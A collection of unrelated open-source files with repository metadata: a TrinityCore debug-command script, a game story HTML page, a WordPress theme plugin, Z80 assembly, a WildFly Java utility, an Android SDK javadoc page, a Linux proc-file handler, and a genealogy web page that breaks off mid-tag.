handler->getSelectedObject(); if (!target) { handler->SendSysMessage(LANG_SELECT_CHAR_OR_CREATURE); handler->SetSentErrorMessage(true); return false; } char* x = strtok((char*)args, " "); char* y = strtok(NULL, " "); if (!x || !y) return false; uint32 opcode = (uint32)atoi(x); uint32 val = (uint32)atoi(y); if (val > 32) //uint32 = 32 bits return false; uint32 value = val ? 1 << (val - 1) : 0; target->SetUInt32Value(opcode, value); handler->PSendSysMessage(LANG_SET_32BIT_FIELD, opcode, value); return true; } static bool HandleDebugMoveflagsCommand(ChatHandler* handler, char const* args) { Unit* target = handler->getSelectedUnit(); if (!target) target = handler->GetSession()->GetPlayer(); if (!*args) { //! Display case handler->PSendSysMessage(LANG_MOVEFLAGS_GET, target->GetUnitMovementFlags(), target->GetExtraUnitMovementFlags()); } else { char* mask1 = strtok((char*)args, " "); if (!mask1) return false; char* mask2 = strtok(NULL, " \n"); uint32 moveFlags = (uint32)atoi(mask1); target->SetUnitMovementFlags(moveFlags); /// @fixme: port master's HandleDebugMoveflagsCommand; flags need different handling if (mask2) { uint32 moveFlagsExtra = uint32(atoi(mask2)); target->SetExtraUnitMovementFlags(moveFlagsExtra); } if (target->GetTypeId() != TYPEID_PLAYER) target->DestroyForNearbyPlayers(); // Force new SMSG_UPDATE_OBJECT:CreateObject else { WorldPacket data(SMSG_PLAYER_MOVE); target->WriteMovementInfo(data); target->SendMessageToSet(&data, true); } handler->PSendSysMessage(LANG_MOVEFLAGS_SET, target->GetUnitMovementFlags(), target->GetExtraUnitMovementFlags()); } return true; } static bool HandleWPGPSCommand(ChatHandler* handler, char const* /*args*/) { Player* player = handler->GetSession()->GetPlayer(); TC_LOG_INFO(LOG_FILTER_SQL_DEV, "(@PATH, XX, %.3f, %.3f, %.5f, 0, 0, 0, 100, 0),", player->GetPositionX(), player->GetPositionY(), player->GetPositionZ()); handler->PSendSysMessage("Waypoint SQL written to SQL Developer log"); return true; } static bool HandleDebugTransportCommand(ChatHandler* handler, char const* args) { Transport* transport = handler->GetSession()->GetPlayer()->GetTransport(); if (!transport) return false; bool start = false; if (!stricmp(args, "stop")) transport->EnableMovement(false); else if (!stricmp(args, "start")) { transport->EnableMovement(true); start = true; } else { handler->PSendSysMessage("Transport %s is %s", transport->GetName().c_str(), transport->GetGoState() == GO_STATE_READY ? "stopped" : "moving"); return true; } handler->PSendSysMessage("Transport %s %s", transport->GetName().c_str(), start ? "started" : "stopped"); return true; } static bool HandleDebugPhaseCommand(ChatHandler* handler, char const* /*args*/) { Unit* unit = handler->getSelectedUnit(); Player* player = handler->GetSession()->GetPlayer(); if (unit && unit->GetTypeId() == TYPEID_PLAYER) player = unit->ToPlayer(); player->GetPhaseMgr().SendDebugReportToPlayer(handler->GetSession()->GetPlayer()); return true; } }; void AddSC_debug_commandscript() { new debug_commandscript(); }
coderx0x/TrinityCore-4.3.4
src/server/scripts/Commands/cs_debug.cpp
C++
gpl-2.0
52,149
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <link rel="stylesheet" type="text/css" href="style/style.css"> <link rel="stylesheet" type="text/css" media="only screen and (min-device-width: 360px)" href="style-compact.css"> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-74917613-1', 'auto'); ga('send', 'pageview'); </script> </head> <body> <div class="dungeonBackgroundContainer"> <img class="dungeonFrame" src="dungeon_battle_collection/baseDungeonFrame.png" /> <img class="dungeonImage" src="dungeon_battle_collection/dungeon_battle_10100.jpg" /> </div> <div class="dialogueContainer"> <div class="facePortrait"> <img class="facePortraitFrame" src="navi_chara_collection/characterFrame.png" /> <img class="facePortraitImg" src="navi_chara_collection/navi_chara5_4.png" /> </div> <div class="speakerName"><a href="http://i.imgur.com/PZWh1tF.png">Paris</a></div> <div class="speakerMessage">The ornament on this chest is broken...</div> </div> <br> <div class="dialogueContainer"> <div class="facePortrait"> <img class="facePortraitFrame" src="navi_chara_collection/characterFrame.png" /> <img class="facePortraitImg" src="navi_chara_collection/navi_chara5_3.png" /> </div> <div class="speakerName">Paris</div> <div class="speakerMessage">Could it be...that someone else was here before me?!</div> </div> <br> <div class="dialogueContainer"> <div class="facePortrait"> <img class="facePortraitFrame" src="navi_chara_collection/characterFrame.png" /> <img class="facePortraitImg" src="navi_chara_collection/navi_chara5_3.png" /> </div> <div class="speakerName">Paris</div> <div class="speakerMessage">The Summoners' Hall is also aware of the rumors, so it's possible that they are inspecting the area as well...</div> </div> <br> <div class="dialogueContainer"> <div class="facePortrait"> <img class="facePortraitFrame" src="navi_chara_collection/characterFrame.png" /> <img class="facePortraitImg" src="navi_chara_collection/navi_chara5_3.png" /> </div> <div class="speakerName">Paris</div> <div class="speakerMessage">And if that's the case, the biggest problem will be who they chose to send here.</div> </div> <br> <div class="dialogueContainer"> <div class="facePortrait"> <img class="facePortraitFrame" src="navi_chara_collection/characterFrame.png" /> <img class="facePortraitImg" src="navi_chara_collection/navi_chara5_3.png" /> </div> <div class="speakerName">Paris</div> <div class="speakerMessage">Tsk, I hate remembering that stupid face...</div> </div> <br> </body> </html> <!-- contact me at reddit /u/blackrobe199 -->
Blackrobe/blackrobe.github.io
BFStoryArchive/BFStoryArchive/grand_02_11.html
HTML
gpl-2.0
2,896
<?php /* Plugin Name: SyntaxHighlighter Evolved Themes Version: 1.0.1 Plugin URI: http://github.com/kopepasah/syntaxhighlighter-themes/ Description: Adds new themes for Syntaxhighlighter Evolved Plugin. Author: Justin Kopepasah Author URI: http://kopepasah.com Copyright 2014 (email: justin@kopepasah.com) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ class SyntaxHighlighter_Themes { /** * @var SyntaxHighlighter_Themes * @since 1.0.0 */ private static $instance; /** * Our new themes. * * @var $themes * @since 1.0.0 */ public $themes = array(); /** * Main SyntaxHighlighter Themes Instance * * @since 1.0.0 * @static */ public static function instance() { if ( ! self::$instance ) { self::$instance = new self(); } return self::$instance; } /** * SyntaxHighlighter Themes Constructor * * @since 1.0.0 */ public function __construct() { // If SyntaxHighlighter is not active, give a notice and bail. if ( ! class_exists( 'SyntaxHighlighter' ) ) { add_action( 'admin_notices', array( $this, 'notice' ) ); return; } // Load localization domain load_plugin_textdomain( 'syntaxhighlighter-themes', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' ); // Setup our new themes. $this->themes = array( 'solarized-dark' => __( 'Solarized Dark', 'syntaxhighlighter-theme' ), 'solarized-light' => __( 'Solarized Light', 'syntaxhighlighter-theme' ), 'tomorrow-night' => __( 'Tomorrow Night', 'syntaxhighlighter-theme' ), ); // Register our scripts on the frontend and admin. add_action( 'wp_enqueue_scripts', array( $this, 'register_styles' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'register_styles' ) ); // Add our new themes. add_filter( 'syntaxhighlighter_themes', array( $this, 'filter_themes' ) ); } /** * Notice when SyntacHighlighter is not active. * * @since 1.0.0 */ public function notice() { $notice = sprintf( __( 'SyntaxHighlighter Evolved Themes requires %sSyntaxHighlighter Evolved%s.', 'syntaxhighlighter-themes' ), '<a href="https://wordpress.org/plugins/syntaxhighlighter/">', '</a>' ); echo '<div class="error"><p>' . $notice . '</p></div>'; } /** * Register our new styles for use in the plugin. * * @since 1.0.0 */ public function register_styles() { foreach ( $this->themes as $slug => $name ) { wp_register_style( 'syntaxhighlighter-theme-' . $slug, plugins_url( 'themes/' . $slug . '.css', __FILE__ ), array( 'syntaxhighlighter-core' ), '20140330', 'all' ); } } /** * Hook into the syntaxhighlighter_themes filter * to add our new themes. * * @since 1.0.0 * @param string Currently registered themes for SyntaxHighlighter. */ public function filter_themes( $themes ) { foreach ( $this->themes as $slug => $name ) { $themes[$slug] = $name; } return $themes; } } /** * Instantiate this plugin after plugins have loaded, * but before SyntaxHighlighter class is instantiated. * * We do this because we have a check for the class of * SyntaxHighlighter, but the need the code to load * before SyntaxHighlighter code. * * @since 1.0.0 */ function syntaxhighlighter_themes() { return SyntaxHighlighter_Themes::instance(); } add_action( 'plugins_loaded', 'syntaxhighlighter_themes' );
ntrhieu89/wordpress
wp-content/plugins/syntaxhighlighter-evolved-themes/syntaxhighlighter-themes.php
PHP
gpl-2.0
3,925
SECTION code_clib SECTION code_fp_math48 PUBLIC am48__dtoa_digits EXTERN mm48__left am48__dtoa_digits: ; generate decimal digits into buffer ; ; enter : EXX = mantissa bits, most sig four bits contain decimal digit ; B = number of digits to generate ; C = remaining significant digits ; HL = buffer * (address of next char to write) ; ; exit : B = remaining number of digits to generate ; C = remaining number of significant digits ; HL = buffer * (address of next char to write) ; ; carry reset if exhausted significant digits and exit early (C=0, B!=0) ; ; uses : af, bc, hl, bc', de', hl' ld a,c or a ret z ; if no more significant digits exx ld a,b rra rra rra rra and $0f add a,'0' ; a = decimal digit exx ld (hl),a ; write decimal digit inc hl exx ld a,b and $0f ld b,a push bc ; BCDEHL *= 10 push de push hl sla l call mm48__left sla l call mm48__left ex de,hl ex (sp),hl add hl,de pop de ex (sp),hl adc hl,de ex de,hl pop hl ex (sp),hl adc hl,bc ld c,l ld b,h pop hl sla l call mm48__left exx dec c ; significant digits -- djnz am48__dtoa_digits scf ; indicate all digits output ret
bitfixer/bitfixer
dg/z88dk/libsrc/_DEVELOPMENT/math/float/math48/z80/am48__dtoa_digits.asm
Assembly
gpl-2.0
1,496
package org.repeid.subsystem.server.extension; import java.io.File; import java.net.URI; import java.net.URISyntaxException; import java.net.URL; import org.jboss.as.controller.OperationContext; import org.jboss.as.controller.OperationFailedException; import org.jboss.as.controller.OperationStepHandler; import org.jboss.as.controller.PathAddress; import org.jboss.as.controller.PathElement; import static org.jboss.as.controller.descriptions.ModelDescriptionConstants.ADD; import static org.jboss.as.controller.descriptions.ModelDescriptionConstants.ADDRESS; import static org.jboss.as.controller.descriptions.ModelDescriptionConstants.ARCHIVE; import static org.jboss.as.controller.descriptions.ModelDescriptionConstants.CONTENT; import static org.jboss.as.controller.descriptions.ModelDescriptionConstants.DEPLOYMENT; import static org.jboss.as.controller.descriptions.ModelDescriptionConstants.ENABLED; import static org.jboss.as.controller.descriptions.ModelDescriptionConstants.PERSISTENT; import static org.jboss.as.controller.descriptions.ModelDescriptionConstants.PATH; import static org.jboss.as.controller.descriptions.ModelDescriptionConstants.REDEPLOY; import static org.jboss.as.controller.descriptions.ModelDescriptionConstants.RUNTIME_NAME; import org.jboss.as.controller.operations.common.Util; import org.jboss.as.controller.registry.ImmutableManagementResourceRegistration; import org.jboss.dmr.ModelNode; import org.jboss.modules.Module; import org.jboss.modules.ModuleIdentifier; import org.jboss.modules.ModuleLoadException; /** * Utility methods that help assemble and start an auth server. */ public class ServerUtil { private static final ModuleIdentifier REPEID_SUBSYSTEM = ModuleIdentifier.create("org.repeid.repeid-server-subsystem"); private final String deploymentName; private final Module subsysModule; private final URI serverWar; ServerUtil(ModelNode operation) { this.deploymentName = getDeploymentName(operation); this.subsysModule = findSubsysModule(); this.serverWar = findServerWarUri(); } private Module findSubsysModule() { try { return Module.getModuleFromCallerModuleLoader(REPEID_SUBSYSTEM); } catch (ModuleLoadException e) { throw new IllegalStateException("Can't find Repeid subsystem.", e); } } private URI findServerWarUri() throws IllegalStateException { try { URL subsysResource = this.subsysModule.getExportedResource("module.xml"); File subsysDir = new File(subsysResource.toURI()).getParentFile(); File serverWarDir = new File(subsysDir, "server-war"); return serverWarDir.toURI(); } catch (URISyntaxException e) { throw new IllegalStateException(e); } catch (IllegalArgumentException e) { throw new IllegalStateException(e); } } void addStepToUploadServerWar(OperationContext context) throws OperationFailedException { PathAddress deploymentAddress = deploymentAddress(deploymentName); ModelNode op = Util.createOperation(ADD, deploymentAddress); // this is required for deployment to take place op.get(ENABLED).set(true); // prevents writing this deployment out to standalone.xml op.get(PERSISTENT).set(false); // Owner attribute is valid starting with WidlFly 9. Ignored in WildFly 8 op.get("owner").set(new ModelNode().add("subsystem", RepeidExtension.SUBSYSTEM_NAME)); if (serverWar == null) { throw new OperationFailedException("Repeid Server WAR not found in repeid-server-subsystem module"); } op.get(CONTENT).add(makeContentItem()); context.addStep(op, getHandler(context, deploymentAddress, ADD), OperationContext.Stage.MODEL); } private ModelNode makeContentItem() throws OperationFailedException { ModelNode contentItem = new ModelNode(); String urlString = new File(serverWar).getAbsolutePath(); contentItem.get(PATH).set(urlString); contentItem.get(ARCHIVE).set(false); return contentItem; } static void addStepToRedeployServerWar(OperationContext context, String deploymentName) { addDeploymentAction(context, REDEPLOY, deploymentName); } private static void addDeploymentAction(OperationContext context, String operation, String deploymentName) { if (!context.isNormalServer()) { return; } PathAddress deploymentAddress = deploymentAddress(deploymentName); ModelNode op = Util.createOperation(operation, deploymentAddress); op.get(RUNTIME_NAME).set(deploymentName); context.addStep(op, getHandler(context, deploymentAddress, operation), OperationContext.Stage.MODEL); } private static PathAddress deploymentAddress(String deploymentName) { return PathAddress.pathAddress(PathElement.pathElement(DEPLOYMENT, deploymentName)); } static OperationStepHandler getHandler(OperationContext context, PathAddress address, String opName) { ImmutableManagementResourceRegistration rootResourceRegistration = context.getRootResourceRegistration(); return rootResourceRegistration.getOperationHandler(address, opName); } static String getDeploymentName(ModelNode operation) { String deploymentName = Util.getNameFromAddress(operation.get(ADDRESS)); if (!deploymentName.toLowerCase().endsWith(".war")) { deploymentName += ".war"; } return deploymentName; } }
Repeid/repeid
wildfly/server-subsystem/src/main/java/org/repeid/subsystem/server/extension/ServerUtil.java
Java
gpl-2.0
5,598
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_71) on Wed May 20 17:33:39 CST 2015 --> <meta http-equiv="Content-Type" content="text/html" charset="UTF-8"> <title>cn.domob.android.ads (Domob Android SDK API)</title> <meta name="date" content="2015-05-20"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="cn.domob.android.ads (Domob Android SDK API)"; } //--> </script> <noscript> <div>您的浏览器已禁用 JavaScript。</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="跳过导航链接"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="导航"> <li><a href="../../../../cn/domob/android/ads/package-summary.html">程序包</a></li> <li>类</li> <li><a href="package-tree.html">树</a></li> <li><a href="../../../../deprecated-list.html">已过时</a></li> <li><a href="../../../../index-all.html">索引</a></li> <li><a href="../../../../help-doc.html">帮助</a></li> </ul> <div class="aboutLanguage"><em> <b>Domob Android SDK API</b> </em></div> </div> <div class="subNav"> <ul class="navList"> <li>上一个程序包</li> <li>下一个程序包</li> </ul> <ul class="navList"> <li><a href="../../../../index.html?cn/domob/android/ads/package-summary.html" target="_top">框架</a></li> <li><a href="package-summary.html" target="_top">无框架</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../allclasses-noframe.html">所有类</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h1 title="程序包" class="title">程序包&nbsp;cn.domob.android.ads</h1> </div> <div class="contentContainer"> <ul class="blockList"> <li class="blockList"> <table class="packageSummary" border="0" cellpadding="3" cellspacing="0" summary="接口概要表, 列表接口和解释"> <caption><span>接口概要</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">接口</th> <th class="colLast" scope="col">说明</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/AdEventListener.html" title="cn.domob.android.ads中的接口">AdEventListener</a></td> <td class="colLast"> <div class="block">Call method "setAdEventListener" of a instance of DomobAdView to set event listener.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/AdListener.html" title="cn.domob.android.ads中的接口">AdListener</a></td> <td class="colLast"> <div class="block"> An interface for listening Domob banner ads.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/FeedsAdListener.html" title="cn.domob.android.ads中的接口">FeedsAdListener</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/InterstitialAdListener.html" title="cn.domob.android.ads中的接口">InterstitialAdListener</a></td> <td class="colLast"> <div class="block"> An interface for listening Domob interstitial ads.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/RTSplashAdListener.html" title="cn.domob.android.ads中的接口">RTSplashAdListener</a></td> <td class="colLast"> <div class="block"> An interface for listening Domob real time splash ads.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/SplashAdListener.html" title="cn.domob.android.ads中的接口">SplashAdListener</a></td> <td class="colLast"> <div class="block"> An interface for listening Domob splash ads.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"> <table class="packageSummary" border="0" cellpadding="3" cellspacing="0" summary="类概要表, 列表类和解释"> <caption><span>类概要</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">类</th> <th class="colLast" scope="col">说明</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/AdManager.html" title="cn.domob.android.ads中的类">AdManager</a></td> <td class="colLast"> <div class="block"> A class for managing Domob ads.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/AdView.html" title="cn.domob.android.ads中的类">AdView</a></td> <td class="colLast"> <div class="block"> A class for invoking Domob banner ads.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/FeedsAdView.html" title="cn.domob.android.ads中的类">FeedsAdView</a></td> <td class="colLast"> <div class="block"> A class for invoking Domob Feeds ads.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/InterstitialAd.html" title="cn.domob.android.ads中的类">InterstitialAd</a></td> <td class="colLast"> <div class="block"> A class for invoking Domob interstitial ads.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/RTSplashAd.html" title="cn.domob.android.ads中的类">RTSplashAd</a></td> <td class="colLast"> <div class="block"> A class for invoking Domob real time splash ads.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/SplashAd.html" title="cn.domob.android.ads中的类">SplashAd</a></td> <td class="colLast"> <div class="block"> A class for invoking Domob splash ads.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/Updater.html" title="cn.domob.android.ads中的类">Updater</a></td> <td class="colLast"> <div class="block"> A class for reminding update.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"> <table class="packageSummary" border="0" cellpadding="3" cellspacing="0" summary="枚举概要表, 列表枚举和解释"> <caption><span>枚举概要</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">枚举</th> <th class="colLast" scope="col">说明</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/AdManager.ErrorCode.html" title="cn.domob.android.ads中的枚举">AdManager.ErrorCode</a></td> <td class="colLast"> <div class="block">Ad request error code</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/AdView.PlacementType.html" title="cn.domob.android.ads中的枚举">AdView.PlacementType</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/InterstitialAd.BorderType.html" title="cn.domob.android.ads中的枚举">InterstitialAd.BorderType</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../cn/domob/android/ads/SplashAd.SplashMode.html" title="cn.domob.android.ads中的枚举">SplashAd.SplashMode</a></td> <td class="colLast"> <div class="block">Domob Splash Mode</div> </td> </tr> </tbody> </table> </li> </ul> </div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="跳过导航链接"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="导航"> <li><a href="../../../../cn/domob/android/ads/package-summary.html">程序包</a></li> <li>类</li> <li><a href="package-tree.html">树</a></li> <li><a href="../../../../deprecated-list.html">已过时</a></li> <li><a href="../../../../index-all.html">索引</a></li> <li><a href="../../../../help-doc.html">帮助</a></li> </ul> <div class="aboutLanguage"><em> <b>Domob Android SDK API</b> </em></div> </div> <div class="subNav"> <ul class="navList"> <li>上一个程序包</li> <li>下一个程序包</li> </ul> <ul class="navList"> <li><a href="../../../../index.html?cn/domob/android/ads/package-summary.html" target="_top">框架</a></li> <li><a href="package-summary.html" target="_top">无框架</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../allclasses-noframe.html">所有类</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> <p class="legalCopy"><small> <i>Copyright &#169; 2011 Domob All Rights Reserved.</i> </small></p> </body> </html>
chosener/ProjectRes
运营/多盟/domob_android_sdk-4.5.4/doc/cn/domob/android/ads/package-summary.html
HTML
gpl-2.0
9,475
#include <linux/module.h> #include <linux/kernel.h> //#include <linux/proc_fs.h> #include <linux/sched.h> #include <linux/printk.h> #include <asm/uaccess.h> #include <linux/slab.h> #include <linux/fs.h> #include <linux/init.h> #include <linux/proc_fs.h> #include <linux/seq_file.h> #define EMERGDATA_NAME "emerg_data" struct proc_dir_entry *emerg_data = NULL; extern unsigned int get_datamount_flag(void); extern void set_datamount_flag(int value); static int emergdata_info_show(struct seq_file *m, void *v) { int len = 0; len = seq_printf(m,"%d\n",get_datamount_flag()); return 0; } int emergdata_write_proc(struct file *file, const char *buffer, unsigned long count, void *data) { long value = -1; int strtol_ret = -1; int ret = -EINVAL; char *tmp_buf = NULL; if ((tmp_buf = kzalloc(count, GFP_KERNEL)) == NULL) return -ENOMEM; if (copy_from_user(tmp_buf, buffer, count - 1)) { //should ignore character '\n' kfree(tmp_buf); return -EFAULT; } *(tmp_buf + count - 1) = '\0'; strtol_ret = strict_strtol(tmp_buf, 10, &value); /* * call function set_datamount_flag conditions as follow * 1. strict_strtol return 0, AND, * 2. value equal 0 */ if (strtol_ret == 0) { if (value == 0) { set_datamount_flag(value); ret = count; } } kfree(tmp_buf); return ret; } static int emergdata_open(struct inode *inode, struct file *file) { return single_open(file, emergdata_info_show, NULL); } static const struct file_operations emergdata_proc_fops = { .open = emergdata_open, .read = seq_read, .write = emergdata_write_proc, .llseek = seq_lseek, .release = single_release, }; static int __init emergdata_proc_init(void) { proc_create(EMERGDATA_NAME, 0660, NULL, &emergdata_proc_fops); return 0; } module_init(emergdata_proc_init);
EloYGomeZ/android_kernel_huawei_alice
fs/proc/emerg_data.c
C
gpl-2.0
1,895
<!DOCTYPE html> <html xml:lang="en-US" lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head lang="en-US"> <title>My Family Tree - Reed, Jamesy</title> <meta charset="UTF-8" /> <meta name ="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1" /> <meta name ="apple-mobile-web-app-capable" content="yes" /> <meta name="generator" content="Gramps 4.2.2 http://gramps-project.org/" /> <meta name="author" content="" /> <link href="../../../images/favicon2.ico" rel="shortcut icon" type="image/x-icon" /> <link href="../../../css/narrative-screen.css" media="screen" rel="stylesheet" type="text/css" /> <link href="../../../css/narrative-print.css" media="print" rel="stylesheet" type="text/css" /> <link href="../../../css/ancestortree.css" media="screen" rel="stylesheet" type="text/css" /> </head> <body> <div id="header"> <h1 id="SiteTitle">My Family Tree</h1> </div> <div class="wrapper" id="nav" role="navigation"> <div class="container"> <ul class="menu" id="dropmenu"> <li class = "CurrentSection"><a href="../../../individuals.html" title="Individuals">Individuals</a></li> <li><a href="../../../index.html" title="Surnames">Surnames</a></li> <li><a href="../../../places.html" title="Places">Places</a></li> <li><a href="../../../sources.html" title="Sources">Sources</a></li> <li><a href="../../../media.html" title="Media">Media</a></li> <li><a href="../../../thumbnails.html" title="Thumbnails">Thumbnails</a></li> </ul> </div> </div> <div class="content" id="IndividualDetail"> <h3>Reed, Jamesy<sup><small> <a href="#sref1">1</a></small></sup></h3> <div id="summaryarea"> <table class="infolist"> <tr> <td class="ColumnAttribute">Birth Name</td> <td class="ColumnValue"> Reed, Jamesy </td> </tr> <tr> <td class="ColumnAttribute">Gramps&nbsp;ID</td> <td class="ColumnValue">I1861</td> </tr> <tr> <td class="ColumnAttribute">Gender</td> <td class="ColumnValue">male</td> </tr> </table> </div> <div class="subsection" id="parents"> <h4>Parents</h4> <table class="infolist"> <thead> <tr> <th class="ColumnAttribute">Relation to main person</th> <th class="ColumnValue">Name</th> <th class="ColumnValue">Relation within this family (if not by birth)</th> </tr> </thead> <tbody> </tbody> <tr> <td class="ColumnAttribute">Father</td> <td class="ColumnValue"> <a href="../../../ppl/o/g/YJUKQCECH2EL71XWGO.html">Reed, Michael<span class="grampsid"> [I1858]</span></a> </td> </tr> <tr> <td class="ColumnAttribute">Mother</td> <td class="ColumnValue"> <a href="../../../ppl/r/7/JKUKQCUN65GP5LOM7R.html">Goodwin, Alice<span class="grampsid"> [I1859]</span></a> </td> </tr> <tr> <td class="ColumnAttribute">&nbsp;&nbsp;&nbsp;&nbsp;Sister</td> <td class="ColumnValue">&nbsp;&nbsp;&nbsp;&nbsp;<a href="../../../ppl/z/4/XKUKQCW9A9NCVC1J4Z.html">Reed, Jenny<span class="grampsid"> [I1860]</span></a></td> <td class="ColumnValue"></td> </tr> <tr> <td class="ColumnAttribute">&nbsp;&nbsp;&nbsp;&nbsp;</td> <td class="ColumnValue">&nbsp;&nbsp;&nbsp;&nbsp;<a href="../../../ppl/3/a/ELUKQCWYK0JVU3FLA3.html">Reed, Jamesy<span class="grampsid"> [I1861]</span></a></td> <td class="ColumnValue"></td> </tr> <tr> <td class="ColumnAttribute">&nbsp;&nbsp;&nbsp;&nbsp;Sister</td> <td class="ColumnValue">&nbsp;&nbsp;&nbsp;&nbsp;<a href="../../../ppl/d/j/TLUKQC8889817PDRJD.html">Reed, Minnie<span class="grampsid"> [I1862]</span></a></td> <td class="ColumnValue"></td> </tr> <tr> <td class="ColumnAttribute">&nbsp;&nbsp;&nbsp;&nbsp;Sister</td> <td class="ColumnValue">&nbsp;&nbsp;&nbsp;&nbsp;<a href="../../../ppl/9/l/QMUKQCEXZO5AY2A0L9.html">Reed, Kate<span class="grampsid"> [I1864]</span></a></td> <td class="ColumnValue"></td> </tr> <tr> <td class="ColumnAttribute">&nbsp;&nbsp;&nbsp;&nbsp;Brother</td> <td class="ColumnValue">&nbsp;&nbsp;&nbsp;&nbsp;<a href="../../../ppl/f/e/DNUKQCEGDFAVELYIEF.html">Reed, Michael<span class="grampsid"> [I1865]</span></a></td> <td class="ColumnValue"></td> </tr> </table> </div> <div class="subsection" id="pedigree"> <h4>Pedigree</h4> <ol class="pedigreegen"> <li> <a href="../../../ppl/o/g/YJUKQCECH2EL71XWGO.html">Reed, Michael<span class="grampsid"> [I1858]</span></a> <ol> <li class="spouse"> <a href="../../../ppl/r/7/JKUKQCUN65GP5LOM7R.html">Goodwin, Alice<span class="grampsid"> [I1859]</span></a> <ol> <li> <a href="../../../ppl/z/4/XKUKQCW9A9NCVC1J4Z.html">Reed, Jenny<span class="grampsid"> [I1860]</span></a> </li> <li class="thisperson"> Reed, Jamesy </li> <li> <a href="../../../ppl/d/j/TLUKQC8889817PDRJD.html">Reed, Minnie<span class="grampsid"> [I1862]</span></a> </li> <li> <a href="../../../ppl/9/l/QMUKQCEXZO5AY2A0L9.html">Reed, Kate<span class="grampsid"> [I1864]</span></a> </li> <li> <a href="../../../ppl/f/e/DNUKQCEGDFAVELYIEF.html">Reed, Michael<span class="grampsid"> [I1865]</span></a> </li> </ol> </li> </ol> </li> </ol> </div> <div class="subsection" id="tree"> <h4>Ancestors</h4> <div id="treeContainer" style="width:735px; height:602px;"> <div class="boxbg male AncCol0" style="top: 269px; left: 6px;"> <a class="noThumb" href="../../../ppl/3/a/ELUKQCWYK0JVU3FLA3.html"> Reed, Jamesy </a> </div> <div class="shadow" style="top: 274px; left: 10px;"></div> <div class="bvline" style="top: 301px; left: 165px; width: 15px"></div> <div class="gvline" style="top: 306px; left: 165px; width: 20px"></div> <div class="boxbg male AncCol1" style="top: 119px; left: 196px;"> <a class="noThumb" 